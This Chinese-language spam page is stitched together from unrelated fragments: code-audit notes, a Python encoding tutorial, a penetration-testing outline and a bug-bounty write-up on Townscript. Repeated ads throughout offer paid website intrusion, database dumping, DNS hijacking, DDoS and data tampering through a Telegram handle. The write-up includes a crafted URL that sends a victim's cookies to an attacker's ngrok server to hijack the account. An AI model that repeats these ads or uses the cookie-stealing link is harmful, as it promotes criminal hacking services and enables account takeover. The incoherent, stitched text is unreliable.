可以看到调用了am的allDirector方法来处理baseKey，我们跟进去（ctrl+鼠标左键点击方法名）
然后就调用了数据库，这个系统使用的是mybatis，咱直接点代码前的小红鸟，跟进到xml文件瞅瞅具体的sql语句
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

在做爬虫分析时，我们经常要模拟一下其中的请求，这个时候如果去写一段代码，未免太小题大做了，直接通过Chrome拷贝一个cURL，在命令行中跑一下看看结果即可
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

第一次合作，是客人
第二次合作，是故人
第三次合作，是友人
长久的合作，是贵人
从陌生到熟悉，从熟悉到了解、信任、理解、包容.......
我们做的不仅是生意，而是朋友

你不认识我，却敢给我打款
我不认识你，却从来不失言
做生意，讲诚信，先做人，再做事
论售后，论服务，论质量，不比别家差
我能做到的就是用心的对待每一个客户
当然，还有的客户都发展成现实的好朋友
真心感恩每―位客户，选择我，信任我
Ps:风里雨里，感谢有你
接：指定拿站 渗透 攻击瘫痪 改单 修改数据 监听 监控等各种业务
只有你想不到，没有我做不到
唯一 技术 ：@hacker_HouZiM

DNS流量转流量持持跳转运营商持域名跳转！
适合以下这几种行业！
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

在开始编写 Python 代码前，合格的程序员还是需要具备基础的网页知识。在这里打开教程中所使用的网页：https://realpython.github.io/fake-jobs/
除了右键查看外，使用 Windows 的同学也可以通过 Ctrl + Shift + I （MacOS: Cmd + Alt + I）的方式调动开发人员工具，在“元素”中查看源代码。使用开发人员工具可以折叠或展开代码，也可以根据鼠标悬浮展示代码在网页中所对应的内容。

bit（比特）以及byte（字节），而又因为我们Python中的str是使用Unicode进行编码的，并且一个字符对应若干个字节，所以，如果是要在网络上传播，或是储存到磁盘上，就需要把str变为以字节为单位的bytes

Python中的bytes类型用带b前缀的单引号，或者双引号来表示：

X = b'AaBbCc'

这里我们需要注意一点：b'AaBbCc'与'AaBbCc'在Python中的输出结果虽然是一样的。但是，bytes中的每一个字符都只占用内存中的一个字节。

而以Unicode表示的str通过encode()函数的方法同样可以编码为指定的bytes

反过来，我们在网络或者自己的磁盘上读取到的内容是以bytes的方式存在，而我们要把它们转换为str，在Python中就需要用到decode()这个函数
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

字符串以GBK格式显示
字符串是unicode编码
既然Python2并不会自动的把文件编码转为unicode存在内存里， 那就只能使出最后一招了，你自己人肉转。Py3 自动把文件编码转为unicode必定是调用了什么方法，这个方法就是，decode(解码) 和encode(编码)

1.渗透测试前的简单信息收集
2.sqlmap的使用
3.nmap的使用
4.nc反弹提权
5.linux系统的权限提升
6.backtrack5中渗透测试工具nikto和w3a的的使用等假设黑客要入侵的你的网站域名为：hack-test.com让我们用ping命令获取网站服务器的IP地址
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

一个开放重定向漏洞，一个路径遍历漏洞，再加一个CSRF漏洞，综合构造以下链接以获取受害者Cookie信息：

https://target.com/api/graphql/v2?query=query ZtSpXXXXXXXXX($id: ID!) { XXXXXXXX(id: $id) { title steps headService { id name __typename } tailService { id name __typename } services { id name __typename } __typename }}&variables={"id":"1234/../../../../../..///xxxxxxx.ngrok.io//"}
只要受害者点击上述链接，他的Cookie信息就会被发送到我的ngrok服务端来，我也即能利用他的cookie信息登录他的账户，实现账户劫持。

在密码重置功能缺乏速率限制（Rate Limit）的情况下，我通过暴力枚举重置了我之前忘记了Townscript登录密码和绑定邮箱密码的Townscript账户，成功找回了丢失的Townscript账户权限，以及其中注册的数百个参与人员信息。

但是，Townscript应用在账户设置中严禁更改用户的绑定邮箱，所以，即使根据上述密码重置漏洞劫持了受害者账户，但受害者一样还可以通过自己的绑定邮箱再次发起密码重置请求，找回账户，那对攻击者来说，这就不算真正意义上的账户劫持。
接下来，我对Townscript应用中的用户设置（edit）操作请求进行了抓包，从中发现了包含的用户绑定邮箱地址，然后我尝试对其进行了替换：
渗透爬虫软件 资源采集 劫持域名 提取抓料子
六合·色站·彩票·博彩·金融
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM